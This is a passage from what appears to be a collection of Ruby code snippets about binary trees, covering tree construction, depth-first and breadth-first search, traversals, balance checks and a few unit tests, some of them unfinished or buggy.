Node.new(elem)\n\tnode.children = Array.new(2, nil)\n\t\n\twhile !cur_node.nil?\n\t if elem < cur_node.value\n\t if cur_node.children[0].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[0] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[0]\n\t else\n\t if cur_node.children[1].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[1] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[1]\n\t end\n\tend\n\t\n\troot ||= node\n\t \n end\n \n root\nend", "def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend", "def build_tree_helper(arr)\n\treturn Node.new(arr[0]) if arr.size == 1\n\tnode = Node.new(arr.slice!(arr.size / 2))\n\ttree = build_tree(arr)\n\tuntil (node.value > tree.value && tree.right_child.nil?) || (node.value <= tree.value && tree.left_child.nil?)\n\t\ttree = node.value > tree.value ? tree.right_child : tree.left_child\n\tend\n\tif node.value > tree.value\n\t\ttree.right_child = node\n\t\tnode.parent = tree\n\telse\n\t\ttree.left_child = node\n\t\tnode.parent = tree\n\tend\nend", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def build_tree(arr)\n\ntree = []\n\ntree.push(Node.new(arr[0]))\n\n arr[1..-1].each do |i|\n new_node = Node.new(i)\n\n condition = false\n current = tree[0]\n until condition == true\n if i > current.value && current.find_right_child.count == 0\n new_node.create_parent(current)\n current.create_right_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i < current.value && current.find_left_child.count == 0\n new_node.create_parent(current)\n current.create_left_child(new_node)\n tree.push(new_node)\n condition = true\n elsif i > current.value && current.find_right_child.count == 1\n current = current.find_right_child[0]\n elsif i < current.value && current.find_left_child.count == 1\n current = current.find_left_child[0]\n end\n end\n end\n tree\nend", "def build_tree(data, node=self)\n data = data.sort\n build_bin_tree(data, 0, data.length - 1, node)\n end", "def depth_first_search_pre_order(data)\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n return node_match\n end", "def find(root, data) #like a stack\n if data === nil #if data is nil\n return nil\n elsif root.title === data #if root matches data\n return root\n elsif root.title != data && root.left === nil #if root is dif from data and left is empty\n if root.right === data\n return root.right\n elsif root.right === nil\n return nil\n else\n find(root.right, data)\n end\n elsif root.title != data && root.left != nil #if root is dif from data and left is not empty\n if root.left === data\n return root.left\n else\n find(root.left, data)\n end\n end\n end", "def depth_first_search(array)\n array.append(self.name)\n self.children.each do |child|\n child.depth_first_search(array)\n end\n return array\n\n end", "def check_subtree(tree1, tree2)\n # due to the depth of T1 being much larger than T2 a BFS seems more logical\n bfs(tree1.head, tree2,head)\nend", "def unit_test_binary_tree\n node_a = Node.new('A', nil, nil, nil)\n node_b = Node.new('B', nil, nil, nil)\n node_c = Node.new('C', nil, nil, nil)\n node_d = Node.new('D', nil, nil, nil)\n node_e = Node.new('E', nil, nil, nil)\n node_f = Node.new('F', nil, nil, nil)\n node_g = Node.new('G', nil, nil, nil)\n node_h = Node.new('H', nil, nil, nil)\n node_i = Node.new('I', nil, nil, nil)\n node_j = Node.new('J', nil, nil, nil)\n\n tree = Tree.new(nil)\n\n p \"-------------------- BEGIN CONSTRUCTING TREE -------------------- \"\n p \" F \"\n p \" // \\\\ \"\n p \" B G \"\n p \" // \\\\ \\\\ \"\n p \" A D I \"\n p \" // \\\\ // \"\n p \" C E H \"\n\n p \"-------------------- END CONSTRUCTING TREE -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN INRODER TREE WALK -------------------- \"\n p inorder_tree_walk(tree.root)\n p \"-------------------- END INRODER TREE WALK -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN PREORDER TREE WALK -------------------- \"\n p preoder_tree_walk(tree.root)\n p \"-------------------- END PREORDER TREE WALK -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN POSTORDER TREE WALK -------------------- \"\n p postorder_tree_walk(tree.root)\n p \"-------------------- END PREORDER TREE WALK -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN RECURSIVE TREE SEARCH -------------------- \"\n p tree_search(tree.root, 'I')\n p \"-------------------- END RECURSIVE TREE SEARCH -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN ITERATIVE TREE SEARCH -------------------- \"\n p iterative_tree_search(tree.root, 'I')\n p \"-------------------- END ITERATIVETREE SEARCH -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN SEARCHING FOR TREE MIN -------------------- \"\n p tree_minimum(tree.root)\n p \"-------------------- END SEARCHING FOR TREE MIN -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN SEARCHING TREE MAX -------------------- \"\n p tree_maximum(tree.root)\n p \"-------------------- END SEARCHING TREE MAX -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN SEARCHING FOR SUCCESSOR -------------------- \"\n p tree_successor(node_g)\n p \"-------------------- END SEARCHING FOR SUCCESSOR -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN SEARCHING FOR PREDECESSOR -------------------- \"\n p tree_predecessor(node_g)\n p \"-------------------- END SEARCHING FOR PREDECESSOR -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN NODE INSERTION -------------------- \"\n tree_insert(tree, node_j)\n p \" F \"\n p \" // \\\\ \"\n p \" B G \"\n p \" // \\\\ \\\\ \"\n p \" A D I \"\n p \" // \\\\ // \\\\ \"\n p \" C E H J \"\n p \"-------------------- END NODE INSERTION -------------------- \"\n\n print \"\\n\"\n\n p \"-------------------- BEGIN NODE DELETION (SUCCESSOR) -------------------- \"\n tree_delete(tree, node_d)\n p \" F \"\n p \" // \\\\ \"\n p \" B G \"\n p \" // \\\\ \\\\ \"\n p \" A E I \"\n p \" // // \\\\ \"\n p \" C H J \"\n p \"-------------------- END NODE DELETION (SUCCESSOR) -------------------- \"\n preoder_tree_walk(tree.root)\n\n print \"\\n\"\n\n p \"-------------------- BEGIN NODE DELETION (PREDECESSOR) -------------------- \"\n tree_delete_predecessor(tree, node_b)\n p \" F \"\n p \" // \\\\ \"\n p \" A G \"\n p \" \\\\ \\\\ \"\n p \" E I \"\n p \" // // \\\\ \"\n p \" C H J \"\n p \"-------------------- END NODE DELETION (PREDECESSOR) -------------------- \"\n preoder_tree_walk(tree.root)\n end", "def depth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # Get next node from the stack\n node = @list.pop\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # Push each child on the stack, making sure the left child\n # will be popped off the stack first (LIFO)\n @list << node.right if node.right\n @list << node.left if node.left\n end\n @list.clear # remove any remaining items from the stack\n\t node\n end", "def breadth_first_search(data)\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n return node_match\n end", "def breadth_first_search(tree, value)\n tgt_node = nil\n \n queue = Array(tree)\n \n while !queue.empty?\n cur_node = queue.shift \n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.each { |child| queue << child unless child.nil? }\n end\n \n tgt_node\nend", "def traverse_tree?(positions, letters, game)\n return true if letters == []\n next_positions = indexes_of_letter(letters.shift, game)\n positions.each do |position|\n neighbours = adjacent_from_array(position, next_positions)\n return traverse_tree?(neighbours, letters, game) if neighbours.any?\n end\n return false\nend", "def dfs(tree, target)\n\n node_stack = [ ]\n\n #push root\n node_stack.push(tree[0])\n\n # can also set current_node and do `while current_node`\n while node_stack.length > 0\n\n # pop first\n node = node_stack.pop\n\n # then do or look for something, generally w conditional\n if node == target\n return true\n else\n # seems multiple ways to do, but doing right before left\n # makes sense to me, even though most do left before right.\n # With my way, the left is pop'd first and you go down left\n # side first\n\n #### BELOW IS NOT RIGHT -- THERE HAS TO BE SOME RECURSSION HERE\n # This actually is starting to make sense: https://github.com/brianstorti/ruby-graph-algorithms/blob/master/depth_first_search/depth_first_search.rb\n #http://haozeng.github.io/blog/2014/01/05/trees-in-ruby/\n #https://github.com/breadoliveoilsalt/depth-first-search-lab-v-000/blob/solution/index.js\n if node.left\n node_stack.push(node.left)\n end\n if node.right\n node_stack.push(node.right)\n end\n end\n end\n\n return false\n\nend", "def dfs(tree)\n # Return the tree if the root value matches the search value\n if @stack[-1].nil?\n return nil\n elsif @stack[-1]['value'] == @value || @stack[-1] == @value\n return @stack[-1]\n end\n \n # Add left tree to the stack if it exists, otherwise the right branch if it exists\n if @stack[-1]['branches']['left'].nil? == false\n @stack << tree['branches']['left']\n dfs(@stack[-1])\n elsif @stack[-1]['branches']['right'].nil? == false\n @stack << tree['branches']['right']\n elsif @stack[-1]['branches']['left'].nil? == false && @stack[-1]['branches']['right'].nil? == false\n @stack.pop\n end\n \n end", "def find(root, data)\n if root.value == data\n return root\n end\n\n if root.left != nil\n left = find(root.left, data)\n if left != nil\n return left\n end\n end\n\n if root.right != nil\n right = find(root.right, data)\n if right != nil\n return right\n end\n end\n end", "def test_depth_of_method\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n tree.insert(40, \"movie c\")\n tree.insert(35, \"movie d\")\n assert_equal 3, tree.depth_of(35)\n end", "def binary_search_tree?(root, lower_bound = -Float::INFINITY, upper_bound = Float::INFINITY)\n if !root\n true\n elsif root.value >= upper_bound || root.value <= lower_bound\n false\n else\n binary_search_tree?(root.left, lower_bound, root.value) && binary_search_tree?(root.right, root.value, upper_bound)\n end\nend", "def tree_by_levels(node)\n return [] if node.nil?\n queue = [node]\n visited = []\n while !queue.empty?\n node = queue.shift\n visited << node.value\n [node.left, node.right].each do |child|\n queue << child if child\n end\n end\n visited\nend", "def search_tree(node, depth = 0, path = [])\n node.each do |subnode|\n if subnode[TREE_NODE_NAMES[depth]].is_a?(Array)\n search_tree(subnode[TREE_NODE_NAMES[depth]], depth + 1, path + [subnode['id']])\n else\n # The deepest node is reached.\n # If an id found is interesting, preserve the path\n if ids.include?(subnode['id'])\n paths << path + [subnode['id']]\n ids_found << subnode['id']\n end\n\n # If all ids were found - stop searching\n return if ids - ids_found == []\n end\n end\n end", "def elegant_tree_by_levels(node)\n stack=[]\n stack.push node if node\n stack.each do |n|\n stack.push n.left if n.left\n stack.push n.right if n.right\n end\n stack.map! &:value\nend", "def find_without_recursion(data)\n puts 'Tree is empty' and return if @root.nil?\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n found = false\n while !q.isEmpty?\n node = q.dequeue\n found = true if node.data == data\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n return found\n end", "def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end", "def valid_binary_search_tree?(root_node)\n\n stack = [ ]\n\n # Setting lower and upper bounds\n stack << [root_node, -Float::INFINITY, Float::Infinity]\n\n while stack.length != 0\n node, lower_bound, upper_bound = stack.pop\n\n if node.value <= lower_bound || node.value <= upper_bound\n return false\n end\n\n if node.left\n stack << [node.left, lower_bound, node.value] # set upper_bound as node.value b/c left node has be less than current node's value\n end\n\n if node.right\n stack << [node.right, node.value, upper_bound] # set lower_bound as node.value b/c right node has be greater than current node's value\n end\n\n return true\n\n end\n\n\n\n\nend", "def breadth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n queue = []\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n connections.each do |i|\n if i.value == find\n answer = i\n condition = true\n elsif !visited.include?(i)\n visited.push(i)\n queue.push(i)\n end\n end\n end\n current = queue.shift\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def is_balanced_binary_tree?(root)\n is_balanced_rec(root) != -1\nend", "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def pre_order_traverse(tree, array)\n if !tree.nil?\n array.append(tree.value)\n pre_order_traverse(tree.left, array)\n pre_order_traverse(tree.right, array)\n end\n \n return array\n\nend", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def test_depth_of_method_returns_nil\n tree = BinarySearchTree.new\n tree.insert(50, \"movie a\")\n tree.insert(45, \"movie b\")\n assert_nil tree.depth_of(35)\n end", "def depth_first_search(value, stack = [Node.get_root_node])\n node = stack[0]\n\n if !node.value.nil?\n puts \"Searching node #{node.value}...\"\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if !left_child.nil?\n puts \"Left child is #{left_child.value}.\"\n else\n puts \"No left child.\"\n end\n\n if !right_child.nil?\n puts \"Right child is #{right_child.value}.\"\n else\n puts \"No right child.\"\n end\n\n if !left_child.nil?\n stack << left_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\n if !right_child.nil?\n stack << right_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\nend", "def depth_first_search(tree, value, args = {})\r\n verbose = args.fetch(:verbose, false)\r\n return nil if tree == nil\r\n next_node = [tree]\r\n while !next_node.empty?\r\n current = next_node.pop\r\n if verbose\r\n puts \"current = #{current}\"\r\n puts \"head = #{next_node[0]}\"\r\n end\r\n # visited not strictly necessary for future proofs it \r\n if current.visited == false\r\n current.visited = true\r\n return current if current.value == value\r\n current.children.each { |child| next_node.push child if child } \r\n end\r\n end\r\n nil\r\n end", "def build_tree(arr)\n if arr.empty?\n return nil\n end\n\n mid = arr.length/2\n root = Node.new(arr[mid])\n\n root.left = build_tree(arr[0...mid])\n root.right = build_tree(arr[(mid+1)..-1])\n\n root\nend", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def build_tree(arr)\n #arr.shuffle!\n arr.each do |x|\n if @root == nil\n @root = Node.new(x)\n else\n current_node = @root\n until current_node == nil\n if x < current_node.value\n parent = current_node\n direction = \"left\"\n current_node = current_node.left_child\n elsif x > current_node.value\n parent = current_node\n direction = \"right\"\n current_node = current_node.right_child\n end\n end\n if direction == \"left\"\n parent.left_child = Node.new(x)\n elsif direction == \"right\"\n parent.right_child = Node.new(x)\n end\n end\n end\n end", "def is_valid_tree(tree)\n\nend", "def build_tree(array, left=0, right=array.length-1)\n \n# base case\n return if left > right\n\n# from smallest to largest\n array = merge_sort(array)\n\n# middle index, make this the first node\n index_mid = left + (right-left) / 2 \n node = Node.new(array[index_mid]) \n \n# i think it's making the left node (smaller), & right (larger)\n# looks like it is recursion\n node.left_child = build_tree(array, left, index_mid-1) \n node.right_child = build_tree(array, index_mid+1, right) \n\n @tree = node\n @tree\n end", "def find(root, data)\n if data < root\n find( root, node.left)\n elsif data > root\n find( root, node.right)\n else\n return node\n end\n end", "def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end", "def post_order_traverse(tree, array)\n if !tree.nil?\n post_order_traverse(tree.left, array)\n post_order_traverse(tree.right, array)\n array.append(tree.value)\n end\n \n return array\n\nend", "def find(root, val)\n if root.nil?\n nil\n elsif val < root.val\n find(root.left, val)\n elsif val > root.val \n find(root.right, val)\n else\n root\n end\nend", "def DFS(root, target)\n ## base case: \n return nil if root.nil?\n return root if root.value == target\n ##indecutive step: \n ## DFS on the left side then DFS on the right side \n root.children.each do |child|\n search_result = DFS(child, target) ## better to save the actual value then check the value then return nil\n return search_result unless search_result.nil?\n end \n return nil\nend", "def search_recursive(root,target_value)\n\n return root if root.payload == target_value\n\n root.children.each do |child|\n node = search_recursive(child,target_value)\n return node if node\n end\n\n return nil\n\nend", "def build_tree(array)\n return nil if array.empty?\n\n mid = (array.length - 1) / 2\n node = Node.new(array[mid])\n node.left = build_tree(array[0...mid])\n node.right = build_tree(array[mid+1..-1])\n node\n end", "def find(root, data)\n return root if root.title == data\n if root.right\n found = find(root.right, data)\n end\n if root.left && found.nil?\n found = find(root.left, data)\n end\n found ? found : nil\n end", "def make_binary_tree(sorted_array)\n if sorted_array.length == 0\n return nil\n elsif sorted_array.length == 1\n return TreeNode.new(sorted_array[0])\n end\n divide_index = sorted_array.length / 2\n tree_node = TreeNode.new(sorted_array[divide_index])\n tree_node.left = make_binary_tree(sorted_array[0..divide_index-1])\n tree_node.right = make_binary_tree(sorted_array[divide_index+1..sorted_array.length-1])\n return tree_node\nend", "def depth_first_search_pre_order_with_debug(data)\n search_order = [] # For Debug output\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n puts \"Pre_order depth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def build_tree(arr)\n\tend", "def search(data_to_find, node)\n if data_to_find < node.data && node.left\n search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n search(data_to_find, node.right)\n elsif data_to_find == node.data\n return true\n else\n return false\n end\n end", "def is_subtree(root)\n\nend", "def produce_tree(ary); end", "def array_to_binary(arr)\n node = Node.new(arr[0])\n arr.slice(1..-1).each {|el| insert_into_tree(node, el) }\n node\nend", "def binary_tree_inorder_iterative(root)\n return if root.nil?\n\n stack = Array.new\n\n while (stack.length != 0 || root)\n if root\n stack.push(root)\n root = root.left\n else\n root = stack.pop()\n print \"#{root.value} \"\n root = root.right\n end\n end\nend", "def find_index(array, target, root = build_tree(array))\n return root.index if target == root.val\n if target < root.val\n if root.left\n find_index(array, target, root.left)\n else\n -1\n end\n else target > root.val\n if root.right\n find_index(array, target, root.right)\n else\n -1\n end\n end\nend", "def build_tree(data, par_node)\n return nil if data.empty?\n \n if @node.value <= par_node.value\n if par_node.left == nil\n par_node.left = @node\n else\n build_tree(data, par_node.left)\n end\n else\n if par_node.right == nil\n par_node.right = @node\n else\n build_tree(data, par_node.right)\n end\n end\n\n @node = Node.new(data.shift)\n build_tree(data, @root)\n end", "def find(root, data)\n return root if root.rating == data\n\n ltree = !root.left.nil? ? find(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find(root.right, data) : nil\n end", "def find(root, data)\n return false unless root\n return root if root.data == data\n return find(root.left, data) || find(root.right, data)\n end", "def build_tree(preorder, inorder)\n return nil if preorder.empty? && inorder.empty?\n\n array = []\n\n node = Node.new(preorder.first)\n\n array << preorder.first\n\n idx = inorder.index(preorder.first)\n\n left_inorder = inorder[0...idx]\n right_inorder = inorder[(idx+1)..-1]\n\n left_preorder = preorder & left_inorder\n right_preorder = preorder & right_inorder\n\n node.left = build_tree(left_preorder, left_inorder)\n node.right = build_tree(right_preorder, right_inorder)\n\n node\nend", "def in_order(node = root, array = [])\n return if node.nil?\n\n in_order(node.left, array) # traverse the whole left tree first\n array << node.data # then push the node into the array when it reaches the leaf node\n in_order(node.right, array) # then traverse the whole right tree\n array\n end", "def depth_first_search(value)\n search_stack = [@root_node]\n\n until search_stack.empty?\n curr_node = search_stack.pop\n return curr_node if curr_node.value == value\n search_stack << curr_node.left unless curr_node.left.nil?\n search_stack << curr_node.right unless curr_node.right.nil?\n end\n return nil\n end", "def func(node,subtree_node_index_in_array,subtree_begin_index,subtree_end_index)\n\tif subtree_begin_index == subtree_end_index\n\t\t#puts \"leaf node begin #{subtree_begin_index} and end #{subtree_end_index}\"\n\t\t#puts $inorder_array[subtree_begin_index]\n\telse\n\t\t$preorder_index = $preorder_index + 1\n\t\tleft_subtree_node_value = $preorder_array[$preorder_index]\n\t\tleft_subtree_node_index_in_array = find_index_of_value_in_in_array(left_subtree_node_value,subtree_begin_index,subtree_node_index_in_array - 1)\n\t\tleft_node = Btnode.new($inorder_array[left_subtree_node_index_in_array])\n\t\tnode.left = left_node\n\t\tfunc(left_node,left_subtree_node_index_in_array,subtree_begin_index,subtree_node_index_in_array - 1 )\n\t\t#puts \"subtree node at #{$inorder_array[subtree_node_index_in_array]}\"\n\t\t#puts $inorder_array[subtree_node_index_in_array]\n\t\t$preorder_index = $preorder_index + 1\n\t\tright_subtree_node_value = $preorder_array[$preorder_index]\n\t\tright_subtree_node_index_in_array = find_index_of_value_in_in_array(right_subtree_node_value,subtree_node_index_in_array + 1,subtree_end_index)\n\t\tright_node = Btnode.new($inorder_array[right_subtree_node_index_in_array]) \n\t\tnode.right = right_node\n\t\tfunc(right_node,right_subtree_node_index_in_array,subtree_node_index_in_array + 1,subtree_end_index)\n\tend\nend", "def bfs(tree)\n Enumerator.new do |yielder|\n queue = [tree]\n while !queue.empty?\n node = queue.shift\n children = node[1..-1]\n yielder << node.first\n children.each do |child|\n queue << child\n end\n end\n end\nend", "def sort_tree(tree)\n root = tree && tree[:root]\n if root == nil\n return []\n end\n arr1 = sort_tree(tree[:left])\n arr2 = sort_tree(tree[:right])\n return arr1 + [root] + arr2\nend", "def find(root, data)\n return nil if !root || data === nil\n return root if root.title === data\n if root.left && root.left.title === data\n return root.left\n elsif root.right && root.right.title === data\n return root.right\n elsif find(root.left, data)\n return find(root.left, data)\n elsif find(root.right, data)\n return find(root.right, data)\n end\n end", "def solution(t)\n # write your code in Ruby 2.2\n depth = 0\n childs = []\n\n childs << t.l if t.l\n childs << t.r if t.r\n\n while not childs.empty? do\n depth += 1\n\n cc = []\n childs.each do |t|\n cc << t.l if t.l\n cc << t.r if t.r\n end\n\n childs = cc\n end\n\n depth\nend", "def see_tree(tree)\n tree.each do |i|\n puts \"---------------\"\n puts \"Node: #{i.value}\"\n puts \"Parent: \" + i.find_parent[0].value.to_s if i.find_parent.count > 0\n puts \"Left Child: \" + i.find_left_child[0].value.to_s if i.find_left_child.count > 0\n puts \"Right Child: \" + i.find_right_child[0].value.to_s if i.find_right_child.count > 0\n end\nend", "def super_balanced(tree)\n if !tree\n return true\n end\n \n depths = []\n nodes = []\n nodes.push([tree, 0])\n \n while !nodes.empty?\n node, depth = nodes.pop\n \n if !node.left && !node.right\n if !depths.include? depth\n depths.push(depth)\n \n if (depths.length > 2) || (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n \n end\n else\n if node.left\n nodes.push([node.left, depth+1])\n end\n if node.right\n nodes.push([node.right, depth+1])\n end\n end\n end\n \n return true \nend", "def find(root, data)\n node = root\n if !root.nil? && root.title != data # gracefully handle nil, skips if match\n if !root.left.nil? #if left child exists\n node = find(root.left, data) # recursive left as root\n elsif !root.right.nil?\n node = find(root.right, data)\n else\n node = nil # if end of the tree\n end\n end\n return node\n end", "def build_tree_2(data_array)\n root = nil\n \n data_array.each do |elem|\n node = insert_node(root, nil, elem) \n\troot ||= node\n end\n \n root\nend", "def dfs_rec(value, node = Node.get_root_node)\n\n if !node.nil?\n puts \"Searching node #{node.value}\"\n if !node.value.nil?\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n else\n nil\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if left_child.nil?\n puts \"No left child.\"\n else\n puts \"Left child is #{left_child.value}\"\n end\n\n if right_child.nil?\n puts \"No right child.\"\n else\n puts \"Right child is #{right_child.value}.\"\n end\n\n left_child.nil? ? nil : dfs_rec(value, left_child)\n right_child.nil? ? nil : dfs_rec(value, right_child)\nend", "def is_balanced(tree_root)\n depths = [] # we short-circuit as soon as we find more than 2\n \n # we'll treat this array as a stack that will store pairs [node, depth]\n nodes = []\n nodes.push([tree_root, 0])\n \n while !nodes.empty?\n # pop a node and its depth from top of stack\n node, depth = nodes.pop\n \n # case: we found a leaf\n if !node.left && !node.right\n \n # we only care if it's a new depth\n if !depths.include? depth\n depths.push(depth)\n \n # two ways we might now have an unbalanced tree\n # 1. more than 2 different leaf depths\n # 2. 2 leaf depths that are more than 1 apart\n if (depths.length > 2) || \\\n (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n return false\n end\n end\n # case: this isn't a leaf - keep stepping down\n else\n if node.left\n nodes.push([node.left, depth + 1])\n end\n if node.right\n nodes.push([node.right, depth + 1])\n end\n end\n end\n return true\n \nend", "def mk_tree(ch_arr)\n\t# set up top node based on smallest 2 values\n\ttop = Node.new # initial top node; no values yet\n\tmins = min_vals(ch_arr, 2)\n\tputs mins[0], mins[1]\n\tputs ch_arr[mins[0]]\n\tputs ch_arr[mins[1]]\n\ttop.set_left(Node.new(ch_arr[mins[0]], mins[0]))\n\ttop.set_right(Node.new(ch_arr[mins[1]], mins[1]))\n\ttop.set_count(ch_arr[mins[0]] + ch_arr[mins[1]])\n\tch_arr.delete(mins[0])\n\tch_arr.delete(mins[1])\n\t# build tree based upon current top node and next smallest value; repeat until no values left in hash\n\twhile(ch_arr.length >= 1)\n\t\ttemp = Node.new # temporary new node; this will become the top node\n\t\tmin = min_vals(ch_arr, 1)\n\t\tputs min\n\t\tputs ch_arr[min]\n\t\t# if top node's value is less than lowest number, put it on left; otherwise, put it on right\n\t\t#puts top.get_count, ch_arr[min]\n\t\tif(top.get_count <= ch_arr[min])\n\t\t\ttemp.set_left(top)\n\t\t\ttemp.set_right(Node.new(ch_arr[min], min))\n\t\telse\n\t\t\ttemp.set_left(Node.new(ch_arr[min], min))\n\t\t\ttemp.set_right(top)\n\t\tend\n\t\ttemp.set_count(ch_arr[min] + top.get_count)\n\t\ttop = temp\n\t\tch_arr.delete(min)\n\tend\n\t# return reference to top node\n\treturn top\nend", "def build_tree( arr, first_index = 0, last_index = arr.length - 1 )\n return nil if first_index > last_index\n \n middle_of_array = (first_index + last_index)/2\n \n root = Node.new(arr[middle_of_array])\n \n root.left_child = build_tree(arr, first_index, middle_of_array - 1)\n root.right_child = build_tree(arr, middle_of_array + 1, last_index)\n \n return root \n end", "def tree\n root = Node.new(1)\n root.left = Node.new(2)\n root.right = Node.new(3)\n root.left.left = Node.new(4)\n root.left.right = Node.new(5)\n root.right.left = Node.new(6)\n root.right.right = Node.new(7)\n root.right.right.right = Node.new(8)\n root\nend", "def find(root, data)\n if root.nil?\n nil \n elsif root.title == data\n return root \n elsif root.right != nil \n find(root.right , data)\n elsif root.left != nil \n find(root.left ,data)\n end\n end", "def build_tree(list)\n root = Node.new(list[0], nil)\n list[1...list.length].each do |item|\n current_node = root\n while !item.nil?\n if item > current_node.value\n if current_node.right_child.nil?\n current_node.right_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.right_child\n end\n elsif item < current_node.value\n if current_node.left_child.nil?\n current_node.left_child = Node.new(item, current_node)\n item = nil\n else\n current_node = current_node.left_child\n end\n else\n item = nil\n end\n end\n end\n root\nend", "def find(root, data)\n if root.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def find(root, data)\n if @root != nil\n queue = Queue.new\n queue.enq(@root)\n result = nil\n while !queue.empty?\n node = queue.deq\n return node if node.title == data\n queue.enq(node.left) if node.left\n queue.enq(node.right) if node.right\n end\n end\n\n end", 